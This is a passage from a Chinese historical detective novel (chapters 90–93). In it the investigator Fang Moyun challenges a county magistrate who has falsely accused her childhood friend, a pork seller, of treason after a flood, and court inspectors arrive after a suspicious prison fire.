茉云目不斜视的往前走，冷冷说道“我等本微末小吏，可别叨扰那些大官！."
青岚则被逗笑了，微微锁紧披风御寒，轻轻瞥了茉云一眼，这家伙自小就是个炮仗性子，生气了定要发飙，倒是如今终于有个人，惹了她，她只生气，却发不了飚……
90.迷离
当冬晨黎明的第一缕阳光穿透薄雾，正啸已经到达了谷山县，县令倪尚天未亮便在城门处候着了，迎了正啸入县衙，
正啸并未寒暄半句，便询问起了此案详情，倪尚亲自讲述此事始末，原是恰逢大雨之时，年久堤坝失修，大水犯境灾民受灾，所幸事发之时有村民发现堤坝决口，大声呼喊，决口处邻近乡里众人及时转移，但是房屋，粮食和财物皆损失。
倪尚火速命人开仓放粮，但是由于各地支持军备，县衙备粮不足，致使放粮效率稍低，有些民众唯恐领不到过冬的粮食，居然聚众抢粮，结果倪尚带衙役制止，并向全县的百姓承诺县衙设置粥铺。
谁知道暴民居然煽动民众闯县衙，这实属大罪。最终倪尚像州府借调了人马来谷山，将暴民全部逮捕入狱。
经倪尚审问查实，原来这些挑事暴民原本是和关外峑戎勾结之人，此举就是他们故意为之，意图煽动灾民谋反暴动，抵制南关边防大业。
正啸接过了倪尚递过来的书信，这便是搜捕来的私通外敌的铁证，他看着顿时微微蹙眉……
“峑戎实是居心叵测，所幸你发现及时……”何友叹息着望向倪尚说道。
“您言重了，这是我分内之事。”倪尚行礼说道。
“此处既不是朝堂亦不是公堂，与我们说话，不至如此客气。”若辰看向倪尚温和的说道。
倪尚此时才笑了点点头，他望向正啸，随此处离南关不远，可是上次一见亦是两年前了，他当日听了正啸的鼓励，振作起来，来南 境为官，重振倪家门楣。
“那些暴民呢？”正啸看向倪尚忽然问道。
倪尚恭敬地说道：“已经压入了大牢，正啸哥您可随时提审。”
“本是你职权范围之事，我等就不用越俎代庖了。”若辰看向倪尚说道，“已经查实，证据确凿即可。”
“是。”
“真是丧尽天良！”何友咬牙看着说道，“堤坝都是他们毁的？”
“都是属下不查。”倪尚吸了口气惭愧的说道。
他的县丞凌河马上跪下说道：“请将军和大人恕罪，恰逢大雨，大人不顾安危深入山中转移民众，才让贼人钻了空子！”
“起来吧，认真审理，据实上报。”正啸双眉微蹙看向倪尚说道。
“是，峑戎之狼子野心，又一次昭然于天下。”倪尚忿然的说道。
可就在此时，县衙外的鼓声响了起来，这是谷山民众伸冤之鼓。按照律历，倪尚立刻命人升堂，谁知道伸冤之人是被抓暴民王姓男子的妻子彭氏，她说他的丈夫绝不是反贼，亦没有和外敌勾结，求县衙公断。
众人都在后堂，正啸边听边抬手拿起卷宗，锁紧了双眉在后堂听着。
倪尚深吸一口气，仁慈的看向这个年轻妇人：“本官信你良善，许被你夫君蒙蔽了，故而不追究于你，可通敌卖国实乃大罪，不容轻恕。”
“那敢问大人，县衙定罪其勾结外敌叛国的证据是什么？”
此言一出所有人都抬起了头，这是茉云的声音，执礼立刻走去轻轻拨开了门帘，正啸也抬目看了过去，站在那妇人身旁之人，果然是茉云。
“你是何人？上堂为何不跪。”旁边县衙捕头看向茉云说道。
“我乃王姓案犯之友人，在中州府衙任职司法参军，和大人同品阶，按照我朝礼制，无需下跪。”茉云看向倪尚这双透亮而平静的双眸，她顿时想起了何子淳，没有足够深的湖底，不会有平静而美丽的湖面。
“中州司法参军，莫非是方参军，久仰大名。”
“倪大人谬赞，此人只是个养猪的，他何以通敌卖国？”
正啸眉头皱得更紧了，本不欲她参与南境事务，她居然又搅了进来。
此时万莫突然恍然大悟，看向正啸说道：“王胖子！”
若辰亦拿起了卷宗，昔日茉云聊天之时也常提起过，小时候最羡慕一个卖猪肉的儿子王胖子，在她的言语中，此人憨厚单纯、乐善好施。
“确是贩卖猪肉生意。”
若辰让人去传了话，让倪大人带着茉云进来，茉云走进来之时，看见他们一众人都走愣了半刻，满脸皆是无语，怎得又遇见了他们。
“怎么来谷山了？”若辰看向茉云温和的说道。
“来看天下奇观。”茉云看向若辰说道，“王胖子这种人还能通番卖国？”
“你有多少日子没见这位故友了？怎知他如今如何？”何友看向茉云说道。
茉云顿时眼色就变了看向何友，最终她忍了：“多说无益，你们查案，我翻案，都按朝廷律法审案办案吧。”
“回你中州去，这案子自然会有人查明。”正啸皱眉看向茉云说道。
茉云却丝毫不退让的问道：“将军你们以为该此案何谓查明？”
“自是按律按证据查办。”倪尚看向茉云亦恭敬的说道。
“王胖子不可能卖国，此案定有蹊跷。”茉云皱眉看向正啸说道。
“这不是中州，不是你的职权范围，办案子讲证据。”正啸看向茉云没好气的说道。
倪尚眼中闪过一丝诧异看向正啸，他又上下打量了一番茉云。
“那将军为何着急赶我回中州，不让我去找证据查真相，将军是想护着谁呢？”茉云顿时便针锋相对的说道。
“岂可如此跟将军说话！”倪尚此刻脸上出现了愠色起身说道，何友此时却拉住了倪尚。
“茉云，你若连我们都信不过，能信谁？”若辰温润的笑了看向她，抬手便拿起那封通敌的信件递给茉云看，倪尚深深吸了口气看向若晨他们，再未说什么平淡的坐了下来，方茉云居然如此得他们信任。
“对，我信你们，你们这儿破事最多！”茉云没好气的骂道，接过来信件看了一眼，眼神顿时停了半刻，“这就是他们通敌的证据？”
“正是。”
“行，容我查实，我绝不会让王胖子蒙冤的。”茉云放下信件边没好气的转身走了，若辰转头看向亦满脸愤怒的正啸，无语的笑了摇摇头。
夜幕降临之时，若辰来到了正啸房里，正啸在烛光下仔细看着卷宗。
“此案你怎么看？”
正啸放下卷宗吸了口气眉头紧皱，不置一词，这代表他也觉得，事有蹊跷。
执礼和谢青互相看了一眼，此案从卷宗和证
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据上来看，当属证据确凿，可是正啸从一开始就沉默不语。
“为何？”
正啸依旧未言语，随意质疑倪尚的决断也不合适，可心中总觉得此事不像峑戎的手笔。
这个时候万莫来接班了，千山顿时瞪着万莫，他喝了酒，定是方茉云请他吃了饭。
“没有喝多。”万莫伏低头小声说道。
“天气转凉，喝点小酒又如何。”若辰拦住了千山，看向万莫温和的说道，“万莫，茉云查到什么证据了吗？”
“她还没开始查，但是她说幽戎何许人物，难道会花这么多心思在一个小县城上，谷山县是否太看得起自己？”万莫想着说道。
正啸撑着头看着卷宗，若辰亦愣松了半刻，难怪今日正啸看到信中落款，策反他们之人是幽冥，他看着幽戎的名字停顿了好久，他定然是了解幽戎的。
夜深人静之时，正啸走出了房间，抬头看向星空，而此时若辰亦走了出来。
“为何让茉云走？”
“南关之事不要再牵扯她进来，你去劝劝她。”正啸看着若辰直白的说道。
“哎，你太看得起我了，我能劝得动她。”
“你就告诉她，不想死，便赶快走。”正啸看向若辰说道。
若辰愣了半刻看向正啸，他瞬间也明白了正啸的用意，自小正啸的身边的人，特别是女子，都没得好下场，他身边从不乏赤诚之辈，可是他们都成为了他敌人的靶子，他身担大任，又能护得了多少人，而女子更是惨，倪虹便是个例子。
其实当年，皇上和朝廷都不能容倪家和卢家联姻，那便是有把持兵部之嫌，也不管他两是否真有其事，最简单的方法便是扳倒了倪家，倪大人因为一个那么微小的疏忽，被逼辞官归家，皇上美其名曰赐婚倪虹，其实就是将她远嫁，正啸亦不得不遵照家里的意思娶了依妮的母亲为妻，老太君也曾叹息到，是卢家对不起倪家。
“你是怕她不得善终？”若辰望向正啸说道。
正啸看向星空的眼神中又露出了冷凌的说：“我是怕南关横生枝节。”
若辰继续看向星空，未再言语，正啸刚才又躲开了自己的目光……
此刻，茉云去夜探了堤坝，堤坝确实也是年久，但还不至于失修，决口之处也有人为破坏的迹象，茉云看着却被逗笑了，王胖子等人还能机巧的寻到这堤坝最脆弱的之处？
她查探了一夜，大水没过了大片的村庄良田和房屋，房顶摇摇欲坠，房屋四处漏风，路边散落着水退之后留下的混着泥浆的废弃之物，村庄一片萧索惨淡，全然不是当日自己来过的那个烟火气十足，热情好客的村落。
日已入冬，天刚亮，陆陆续续就有灾民，扛着自己剩下的粮食和细软，去投靠外地的亲友。茉云在回城路上，跟路边歇息的大伯聊上了，说是发大水之时，幸亏听到了轰隆隆的声音，村里有人起来查探，发现堤坝垮了，大声呼喊，不然不知得死多少人。而呼喊的人中就有王胖子……
茉云往县里走着，回头看向这片冲毁的村庄，冷然笑了，这倒是迁居的一个好方法，怎么自己和其他府衙就没有想到呢？这人世的恶魔啊，都披着人皮。
91.算了？
空中都蕴着清冷的气息，每一口呼吸似乎让自己的心头凉透了般，茉云将衣系得更紧走进县里城门，却看见了执礼，茉云抬眉冷冷的望向他，执礼却恭敬的像茉云行了大礼。
“不用来这一套，您有事说事。”茉云看向执礼被逗笑了说道。
“无论案情真相如何，倪尚大人暂时不可动，谷山亦不可动。”执礼吸了口气看向茉云说道，便将倪家和卢家的干系告知了茉云。
茉云满脸的不屑看着执礼，眼神似乎都回答了他的请求，他们那些达官贵人的爱恨情仇与我何干。
“方茉云，若此事是冤案，朝中定然将此事扣在将军头上，成事者，天时地利人和，缺一不可。而环顾此时，朝堂上的奸佞污蔑将军好战，上天降罚的言论你听说过吧？南关废弃十余载，重建必然损失各方利益，此时南关地界处处皆是风波不断，若我们还失了人和……方茉云，南境本不是将军的故乡，是尔等的家！”执礼看向茉云愤怒的说道。
茉云看着执礼停了半刻说道：“带钱袋了吗？”
执礼亦愣松了半刻无语看向茉云，取下了钱袋递给她，茉云拿了几文钱走到饼摊前，买了三个饼，自己咬着一个，递了两个给执礼，然后一言不发的走了。
此时谢青了出来看向执礼说道：“是不是还需要我再要去找她谈谈。”
“不用，她听懂了，若她不愿意，谁劝都无用。”执礼看向茉云的背影，然后递了另外一个饼给谢青。
“或许我以从另外的角度相劝亦可，人都会犯错，她想保王胖子，将军亦想保住倪尚!”
“那你真是劝对了，她会从你的这个角度想？她只会觉得将军为了心上人的弟弟，要弄死她的故人！”执礼看向谢青无奈的说，“倪尚还有活路？”
谢青顿时被逗笑了想来也是，执礼想着也笑着直摇头。
“冬日清晨吃个热乎的饼，属实不错。”谢青双手都握住饼，在这寒风凛凛的城门后等着，手指都失去了知觉一般。
执礼叹气道：“嗯，嫌咱两唠叨，堵咱两的嘴也挺好。”
“我躲在树后，她是怎知我在？”
“不然她为何买两个饼，你亦不用觉得蹊跷……我一直觉得此人定然就是个妖怪，三头六臂，九个脑子，全身都是胆！”执礼笑着说，谢青亦忍俊不禁。
刚回到了客栈，茉云正准备睡一觉，却看见思淼开心的指着说道：“师姐，你看若辰哥来了。”
茉云叹了口气无语的望向若辰：“关大人，有何贵干？”
“这么大气性？又不是我抓了王胖子，我亦想救她。”若辰依旧为温润的喝着茶。
“我昨夜一夜没睡，累了，让我睡会儿！”茉云伸着懒腰说道。
青岚拦住了茉云说道：“茉云，关公子等了一个时辰……”
“无妨，我晌午后再来。”若辰起身说道。
茉云转身看向若辰说道：“去告诉他，三天时间，不管用什么方法，放了王胖子等人，此事算了，我立马走人，不会叨扰。不然，我定让他人仰马翻！”
若辰愣松了一刻看向茉云，她此刻坚定的眼神克制着狠戾，最终咬牙转身走了。
若辰回去之后，将原话告知了正啸，正啸命人唤来了倪尚，倪尚一脸的从容淡定，将案件的始末从头到晚又诉说了一遍，毫无破绽。
倪尚还命人将一众案犯压了上来，他们皆认罪，正啸抬眼看向了其中满脸憨傻却眼含绝望的胖子，他已经连话都说不清楚。
案犯又被压回了大牢，若辰吸了口气看向正啸，从头到尾天衣无缝，倪尚谦恭的告退了，转身走出门外之时，眼神中终于透出一丝寒冷，他没有想到正啸哥和关若辰会怀疑自己，而信方茉云。
“难道是茉云，故作镇定，她素来唬人不用缘由。”何友看向正啸和若晨说道。
“绝无可能！”若辰皱眉望向何友说道。
“哥，何以如此信她。”
“何友，你去劝倪尚，兹事体大，切莫无端牵扯峑戎，将一干所谓的暴民从犯酌情处理，能放就放，特别是将那王胖子放出。”若辰最终看向何友说道。
“我去？其实他素来最听正啸哥的话！”
“若我去说，我定革了他的值！”正啸愤怒的起身说道。
“可是方茉云并未拿出证据！”何友深吸了口气看着正啸的背影说道。
“若她拿出了证据，一切就完了。”执礼看向何友说道，“难得她愿意退让一步。”
茉云晚上在客栈喝着酒，一杯接着一杯，青岚和思淼都看着她，她似乎想将自己灌醉一般。
“这是怎么了？”
王胖子的媳妇彭氏，小名叫二花，她也坐在旁边也一边哭一边喝着酒，泪水一个劲的从她白胖的脸上流下来。
“哎，别这样！”青岚立刻拿出手绢给二花擦着眼泪。
“前不久爹还在说，猪生了一窝好崽，明年王家的日子会越来越好，还说我是个旺妻，结果我夫君本是去救人的，怎么就成谋反通敌……肯定是因为我命不好，害了王胖子，如今爹病了，王胖子坐牢了，我对不起王家！”说着二花掩面痛哭，胖手哭得都一直在颤抖。
青岚给二花擦着眼泪自己也忍不住泪水落了下来。
这把思淼都弄着急了：“几位姐姐，别这样行啊？现在案子不是在查吗？”
茉云则淡定的放下酒杯说道：“明日我们随你回乡，先看看王叔身体如何了？”
二花顿时像鸡啄米一样的点头，一清早她就去城里买了药材和吃食，抱着一大包袱的食物回乡。
“不愧是王胖子夫人！”茉云无语的看向二花评价道，青岚才终于被逗笑了。
茉云走到了王屠夫家门口顿时愣了一下，十几年过去了，居然还是这个老样子，王胖子家在高地，并未被淹，茉云白了一眼，王胖子就是这种傻子，他随那群家伙去闹什么？
“爹，娘！”二花冲进家里喊道。
“二花，案子怎么样了？”王夫人马上起身说道，茉云看过去，王夫人还是那般慈眉善目，只是鬓角多了些许白发。
“王叔，王婶。”茉云笑了跳进屋子喊道。
王叔顿时差点没有从床榻上滚下来，王夫人马上扶着他，王叔一番挣扎下床，跪在了茉云面前说道：“倒霉丫头，你救救我儿子。”
茉云无语的扶起了王叔，幼时他便这么称呼自己。青岚亦深深吸了口气，王叔和王婶亦老了，一辈子为乡里乡亲做猪肉买卖，从不短斤少两，碰到老幼病残的邻里他们还常常会送些，这辈子什么也不奢求，就是心疼自己宝贝儿子，到老了却要经历这番蹉跎。
“你救救王胖子啊……那个傻小子哪里吃过这种苦！”顿时王叔老泪纵横的说道。
“王叔，您放心，若我小命在，王胖子定然死不了！”茉云看向王屠夫笃定的笑着说道。
“好，好，好！”王屠夫才擦着眼泪，转头看向王婶安抚说道，“倒霉丫头，坏主意最多，定能救儿子。”
王婶也点点头擦着眼泪，茉云无语坐下，心想我谢谢你们夸奖我！
“爹娘，这是什么？”二花坐下之时被什么硬物给膈应了一下，她顺手拿起这个红布包着的东西，打开一看，便吓了一跳，里面是一锭银子，“这么多钱？”
“快别动，这是那日娘在院子里缸边上捡着的，肯定是谁逃难之时，来咱家院里借口水喝掉的，人肯定着急坏了，定会回来寻的。”王婶看向二花说道。
“哦。”二花马上又把银子小心包好。
“他娘别把院门关上了，方便人进来问……”王叔虚弱的指着说道。
“王叔，兴许是天降之才，要不我拿去救王胖子啊？”茉云被逗笑了指着说道。
“别动啊，你个小骗子，我还不知道你，你动我剁你手。”王叔一脸恶狠的骂道。
“知道了！”茉云没好气的说，可她看着这银两若有所思。
青岚才终于被逗笑了，小声告诉思淼他们，王叔之前就是这么骂茉云的，说她从没得什么好话，可茉云从不敢反驳，因为他家给肉吃。
思淼顿时被逗笑了，可是他顷刻也选择了相信王胖子，若南境这么质朴单纯之人都能通敌，那这天下还救他干嘛？
探望完王叔王婶，茉云还在旧地游览了一圈，跟前日夜里自己夜探的那个村庄一样，大部分村民都迁走了，村里异常凋零，若洪水再来，很多房屋铁定都会垮了。
“这是二狗家吧，搬走了？”茉云走到故友的家门口说道，二狗自小便是王胖子最好的朋友，那个时候在村里他们都是一起玩。
二花顿时就抹泪说道：“二狗救人被谁大水卷走了，没回来。”
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>“什么？”青岚吃惊的看向二花说道。
“当日发大水，他来叫了夫君说一起去救人，夫君回来了，他水性好，下水救人便再也没有回来。”二花哭着说道，顿时青岚的泪水也跟着落了下来，众人只得沉默。
茉云深吸一口气，看向二狗屋内不禁叹息，这满村皆是物是人非，此行本是想着来劝王叔王婶，开始自己还以为王叔病了他们家还未收拾行李搬迁，原来王叔是因为儿子没回来，他们老夫妇都要在此等王胖子回来……
众人一道回县里，心情都有些沉重，二花走着怯懦的看向青岚，她都不太敢跟茉云说话，可她想问自己夫君何时才能回。
青岚亦明白二花的想法，看向茉云问道：“你可有法救王胖子？”
“正想，烦着呢！”茉云皱眉说道。
二花吓得不敢说话了，马上伏低头，自己偷偷双手扯着衣角。
“诶，你说话态度好点，二花，咱别搭理她！”青岚拍拍二花的手安抚她，然后没好气的瞪着茉云。
“处处受气！”茉云气愤的回房了，思淼他们都伏低头忍着笑，除了方茉云幼时的这些故人，谁敢说她半句。
傍晚之时，思淼轻轻敲着茉云的门，茉云没好气的拉开门看向他们。
“头，热乎乎的桂花米糕。”小马他们顿时一脸傻笑的说道，是青岚教他们去找到当年那个婆婆，拜托她做的米糕。
“进来吧。”茉云没好气的接过米糕吃着，一口咬下去，顿时心情好了大半，这儿的米糕都放着干桂花，幼时自己就极为喜欢。
“师姐，咱有什么事，怎得不能跟师兄商量？他难道不主持公道？”思淼坐下看向茉云说道。
“他有这么闲？再者朝中大局什么时候跟公道有关系！”
“可这是在谷山县，不是京城，他们都是良民，不是暴徒，勾结峑戎，这是能污蔑就污蔑的吗？”
“你意思倪尚为了政绩污蔑良民，该被杀头？”茉云看向思淼说道。
思淼愣了半刻说道：“倪尚可能亦是被蒙蔽？”
“看见没有，人有亲疏贵贱，你亦不信，何况卢正啸，那可是他青梅竹马的弟弟。”茉云轻笑着，却狠狠咬了一口米糕。
“师姐，爹曾说过，我们断案的只信证据，是如何就如何，该如何便如何！爹还说过，冤案不只是一个案子这么简单，朝廷律法被污，官府信誉扫地，民众希望破灭，必将酿成一系列的大祸。”
茉云愣松了半刻看向思淼，顿时想起了卓深，卓深师傅虽啰嗦，但是天下第一神探的名声绝不是浪得虚名，可这世道若都如断案一般，就好了。
“所以我不偏不坦，等您的证据。”
“卢思淼，事情没那么简单，且不说此案设计可谓天衣无缝，就单说推翻此案的后果，朝廷必质疑将军指使他的人在南境胡作非为，造谣峑戎，制造祸端，挑起战事！”茉云吃着米糕淡然的说道。
众人顿时愣在原地看向茉云，倪尚此人官声素来很好，朝廷皆知，他对正啸素来忠心耿耿，此事若翻案确实必将牵连正啸。
“头，此案不如还是让将军为我等从中转圜？”老马看向茉云皱眉说道。
“老马，你太看得起我了，镇南大将军为何不信他那姘头的弟弟，信我啊？”茉云没好气的骂道。
青岚顿时在门口笑出了声，看向茉云，茉云瞬间移开了眼神，狠狠白了一眼。
石川顿时拍案而起的说道：“头，没关系，我们信你！”
“对，矢志不渝；海枯石烂的信您！”太易等人也马上表态。
思淼顷刻被逗笑了说：“矢志不移还行，海枯石烂这么用的？”
茉云看着他们也乐了说道：“你们这意思是……大老鹰有千山万莫，谢青执礼，还有一个关若辰，我也有老马小马，石川太易，外加一个卓思淼。”
小马顿时慷慨激昂的说道：“就是！”
“哎……算了，散了吧，看你们我都知道，何为实力悬殊！想我幼时，再大的事吃一口这桂花米糕，我都觉得人间值得。而此刻……这桂花米糕，居然都没法安抚我心中的悲凉……”茉云想哭的吃着米糕说道。
顿时大家哄堂大笑，茉云也笑了看向窗外，此案绝不是那么简单，她亦下定决心，只是心中轻轻叹息道，对不起，我又要走一条你不会让我走的路……
92.不解
寒风骤然而至，刺骨的冬意卷席了整个谷山县。
何友诚恳的劝说倪尚谨慎对待此案，倪尚却完全的婉拒了何友的建议。
“你何苦认这死理呢？”
“我不怕死，若我能化成萤火之光，为正啸哥南境平定峑戎大业贡献一点光热，我都此生无憾，哪怕我和姐姐并不得正啸哥看重。”倪尚笑了看向何友，眼神中都是温和，“姐姐说过，正啸要看重的太多了，肩上的重担太重了。”
三日期限一到，茉云带着思淼，便来了县衙，倪尚坐在县城匾额之下，一脸庄重的望向倪尚，显然他并不畏惧。
谁知茉云压根没有搭理倪尚，就闯入了府衙内堂，直接闯进了正啸书房，正啸正在写着兵部奏报，茉云直接推门而入。
“你也不拦？”千山瞪着万莫骂道。
“啊？”万莫一副没搞清楚状况的回道，什么时候或者谁说过要拦着她？
若辰被逗笑了抬手让他们退下去，然后温和的看向茉云，正啸则依旧愤怒的瞪着茉云。
茉云想着忽然转头望向思淼：“完了，好像我等微末小吏，七品官员要见二品大将军，要提前申报等待召见的……”
“得了吧，师姐！”思淼瞬间乐了说道。
倪尚此时也跟着茉云走入正啸书房，她居然如此造次，就是她姐当年都不敢如此闯正啸书房。
“何事？”正啸看向茉云没好气的说道。
“我要见一下王胖子！”
正啸皱眉没好气的说：“你身为司法参军，不懂朝廷律法？案子未审结之时，亲友皆不可私自见面。”
“可传至公堂之上，当着众人审问案犯。”若辰温和的看向茉云说道，“你想问什么？”
“问什么？此案分明系谷山县县令倪大人扭曲事实，王胖子绝无判敌之嫌，你自己问他便是！”茉云指着倪尚说道。
“这便是方大人说的证据？”倪尚看向茉云说道。
“你信我，还是信他！”茉云指着倪尚直白的看向正啸说道。
众人都愣了半刻望向茉云，执礼亦抬起头看向茉云，她这又是唱得哪出。
“信证据！”正啸没好气的看向茉云说道。
“他那是假证！”茉云义愤填膺的说道，“这家伙阴毒着呢。”
“你可有证据证明那是假证！”何友无语的看向茉云说道。
“执礼大人总说我是个危险之人，可这种人若在你少主身边才是危险，他所行之事才不是光明正大，皆阴谋诡诈。”茉云转身看向执礼说道。
执礼也恍惚了半刻皱眉看向茉云，亦看向倪尚，而此刻倪尚波澜不惊的脸上，闪过一丝愠怒。
“尔等总是投鼠忌器，而老鼠屎本就是打坏一锅汤之物。”茉云满脸凌冽的看向执礼说道：“这不是顾全大局，这是埋下祸端。”
“我不知方大人为何一来便闯入府衙，这毫无来由的诛心之论，也让倪某汗颜。”倪尚依旧温和的说道。
“若你不信我，老太君说他们倪家姐弟的话，你总信吧！”茉云看见执礼忽然说道。
执礼皱眉看向茉云，老太君难道会跟茉云说这些？
“昔日老太君说，卢家世代蒙受圣恩，从不畏惧外敌，最怕溃于内，有些人认不清自己斤两，总长着一张只会说忠诚的嘴，顶着忠诚两字，便可干尽人间恶事。”
“方大人在边城，难道从未作恶？”倪尚咬牙望向茉云，她居然敢侮辱家姐。
“倪大人还调查过我？”茉云眼神中闪过一丝寒意，却笑了，“那便亦知道老太君亲自来找过我，那你想听老太君为何觉得你长姐为何不配入卢家吗？”
倪尚顿时眼露寒光瞪着茉云，要说什么便被正啸打断了。
“有证据就拿出来，休要在此胡搅蛮缠！”正啸没好气的皱眉看茉云。
茉云转身瞪向正啸，思淼亦愣了一刻，没想到师兄会如此处置。
“千山，将她赶出县衙！”正啸顿时严厉的看向茉云说道，“此案隶属谷山县，没有你插手的资格，滚回你的中州去。”
倪尚此时冷冷的望向茉云，眼中闪过一丝讥讽。若辰顿时锁紧双眉看向正啸，何苦要如此扫尽茉云的颜面。
“当年中州，众人皆指责我未提前告知于大人一声。”茉云深吸一口气失望的看向正啸说道，“今日小的告知了！”
正啸皱眉未再置一词，眼中都是刚烈和严厉。
“师兄，你可曾亲自审问过从犯王胖子等人，确认他是暗通峑戎叛乱之人？”思淼顿时也忍不住义愤填膺的说道。
“走吧。”茉云淡然的转身，冷冷的笑了看着倪尚说道，“你得意什么？分明消得黄金屋，却堕荒野野径间，你们得意去吧。”
倪尚顿时眼神变了看向茉云，这两句诗源自海棠之诗句，当年他家和卢家墙角之下有一棵开得绚烂之极的海棠花，老太君曾夸幼时的倪虹如海棠花般可人。这是谁告知于她，难道真的是老太君，方茉云居然以此诗羞辱他们姐弟。
若辰愣了半刻看向茉云，执礼亦蹙眉望向她，茉云此举分明不是要见王胖子，她言语中不过是挖苦和激怒倪尚？正啸皱眉深吸了口气，不晓得茉云又在搞什么鬼。
恰逢晌午军中来了文书，朝廷派了钦差来南关看边关修建进度，正啸打算速速赶回营中，执礼无可奈何的叹了口气，看样子茉云和倪尚是杠上了，这关头正啸先离开也好。
“家里小孩打架，长辈们要不就是彻查缘由，要不一人一巴掌，哪有你这般处置的！”若辰无语的看向正啸说道。
“方茉云是小孩？”正啸没好气的看向若辰。
“她不是小孩，她比小孩还气盛。”若辰无语的说道，“你以为你不给她好脸她就会走，可别等下你一走，人转头就咬了你青梅竹马的弟弟，到时可别怪我未提醒。”
正啸愤然瞪着若辰，若辰若无其事的拂袖而去，执礼和谢青互看了一眼，只能忍着笑。
他们急于赶回南关，正啸将执礼留在了谷山县，临行前倪尚来相送。
正啸严肃的看向倪尚训诫道：“不得故意重判从犯，混战多年，稍有不慎之民众，亦是被外敌利用，你身为父母官，当教化之，而不是杀之灭之。”
倪尚愣了半刻马上恭敬地行礼说道：“是。”
“人当执着于初心，不畏人言。”正啸皱眉看向倪尚，说完策马而去。
倪尚咬牙看着正啸的背影，深深吸了口气，茉云则远远地站在屋顶之上目送正啸离去，寒风如此凌然，在耳边穿梭呼啸，她却冷冷的笑了，丝毫不畏惧这寒冽，这边关虽战事消停，但尔虞我诈从未停歇，该来的总该来的……
王胖子最终还是留下了一条命，可倪尚判了王胖子流放西南之地，且翌日便执行，执礼皱眉望向倪尚，他虽没有判死罪，可他依旧判得如此重。
可王胖子此时已经心如死灰的痴傻般念叨着冤枉，二花听闻就哭晕了过去，冲茉云吼道：“你们做官之人根本就不是为民主持公道的！”
茉云却依旧沉默不语，青岚本也是一脸愤然，可是看向茉云那冷静的表情，不知道为何背后觉得冷。
可谁知就在这日，都察院的余震和麦诚居然亲自来了谷山，奉命彻查此事。
此事连正啸亦没有想到，察院邓大人居然派余震和麦诚两位督查队长亲自来，且这么快，定是日夜兼程。可见此事在朝廷引起了重视。
现在的察院掌院督查使邓大人，是以公正刚毅闻名朝野上下，他此番安排有其深意，余震和麦诚两员大将，都亲自来了谷山这个小县城，余震此人素来中正，不偏不倚，定然会据实上报，而麦诚乃太师门生，他来亦是为了堵住朝中悠悠众口，维护察院中正，此番安排都是深意。
正啸自己留在南关应付钦差，然后让若辰带
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着千山马上赶往谷山县，想都知道若辰拿茉云没得法子，正啸还让千山带上了自己皇命金牌令箭，让倪尚持此令箭将敢茉云赶出谷山县，不得插手此事。
而就在余震他们到达的当晚，电闪雷鸣，又下起了雨雪。
“大人今年的天气还真是古怪！”吴越立刻起身关着窗户，他一直是余震身边的副队。
“自古怪力乱神之说芸芸，本多是那些居心叵测之人所造无稽之谈，与我等何干。”余震在烛下看着卷宗说道，
“大人说得是！”吴越关窗之时，看向外面，一道闪电似乎就击在了不远处，顿时伴随轰隆的炸雷声，恍惚间，忽现火光串起，“大人，好像起火了。”
余震顿时抬目望向窗外，然后起身走到了窗边。
“好似府衙方向！”
余震的眼神中顿时露出了寒意，此火燃得蹊跷：“取我官服来，备马车，我去县衙一趟，问麦大人同往否！”
他们赶往了县衙，大雨之下，他就在坐在府衙门口，此时来人禀报，原来失火的是大牢，顿时余震眼中闪过怒气。
“余大人，他们居然如此张狂！”吴越愤然的说道，“我等都已经到达谷山。”
余震和麦诚却都很沉默，冷眼看向府衙上下仓皇失措的救火，还好今夜雨雪大，在未有证据之时，他两从来都是缄默不言的！
而此时牢房中窜出一人，余震远远一瞧，是方茉云手上拉着一个喘着粗气，满脸惊慌的胖子。
“狂……方茉云？”吴越转头看向余震小声说道，余震身边的麦诚亦抬头望去。
余震撑着头远远望着灰头土脸从黑烟中冲出的茉云，眼中闪过一丝狐疑，但凡有此人在的地方，事事都没有那么简单。
“走吧。”余震起身说道。
“大人，不见一下县令，问一下缘由？”麦诚身边的随从问道，这寒冷的雨雪之夜，他们都来了。
“静观其变吧。”
“也好，这府衙上下此夜也有得忙。”麦诚亦温和的笑着说道。
深夜回到了驿站，吴越跟余震泡着热茶驱寒，余震喝着姜茶闭上了眼睛。
“要不要传方茉云来问个前因？”
“你能应付得了那个疯子？”余震睁开眼睛顿时没好气的骂道。
“大人说得是！”吴越忍着笑说道。
结果第二日县衙居然升堂，还请了余大人去，县衙昨夜彻查是方茉云私自闯入大牢探监，引起了大火。执礼着急的看向府衙外，不知若辰何时才到，他一早没有劝住倪尚升堂，亦知茉云此举蹊跷？
“对，我私自去探监，我特地点把火，将人引来抓我，倪大人真是断的好案。”方茉云当堂便喊道，可是此时才看见坐在堂旁的余震愣了半刻，余震身边还坐着一人，想来便是察院另外一位督察使队长麦诚，此人是太师的门生。
“证据确凿，你还有何好申辩，这就是你昨日使用的灯笼，灯笼店的老板亦可以作证。”
“他昨日只卖了灯笼给我？”
“方大人，此案已经判决，你为何昨日夜里去探监！”余震突然看向方茉云说话了。
茉云转身看向余震，执礼却锁紧双眉，她若一时气盛和盘脱出，少主的人水淹县城，诬陷良民与峑戎勾结，必使朝野震动。
倪尚却冷冷的看向茉云，他心中却没有丝毫惶恐，他已将证据准备得天衣无缝，而且他不怕死，他就是要严惩甚至铲除他的正啸哥身边这个奸佞——方茉云。她若敢牵扯背叛正啸哥，正好能映衬自己的忠诚，正啸哥身边之人定然会除了她，而她即便没有背叛，自己亦能以律法办她，为家姐出口恶气。
方茉云望向余震，满脸坦然却没有回话，余震亦冷冷的望向他，倪尚眼中却漏出一丝轻笑，他是听说过在京中，方茉云亦得罪过余震。
若辰的马疾驰往谷山县城而来，刚刚到县城城门口……
93.猎人
县衙堂内坐着的众人，都是脸色凝重，此案随着察院的介入和方茉云的搅弄，亦渐渐露出不一般的端疑……
“方大人，为何不回话？”余震素来咄咄逼人。
茉云望向余大人，整理了一下乱发说道：“余大人为何在此？”
“我还需要回你一个司法参军的话？”余震望向茉云顿时没好气的说道，吴越亦愣了一下看着余震，伏低头若有所思。
“故人蒙难，探望一二。”
“方大人隶属中州府衙，私闯县城大牢放火，意欲何为？”倪尚望向茉云冷漠却得意的说道。
执礼皱眉看向倪尚，察院之人都到了，他居然此时还在想着落井下石。
麦诚依旧一脸温和的望向堂内众人，最终目光落在了方茉云的身上，这便是当年在京城让何子淳和尹恒都败得一塌糊涂之人，恩师反复叮嘱要小心此人。
“余大人，麦大人”倪尚恭敬地说道，“依照大明律例，方参军……”
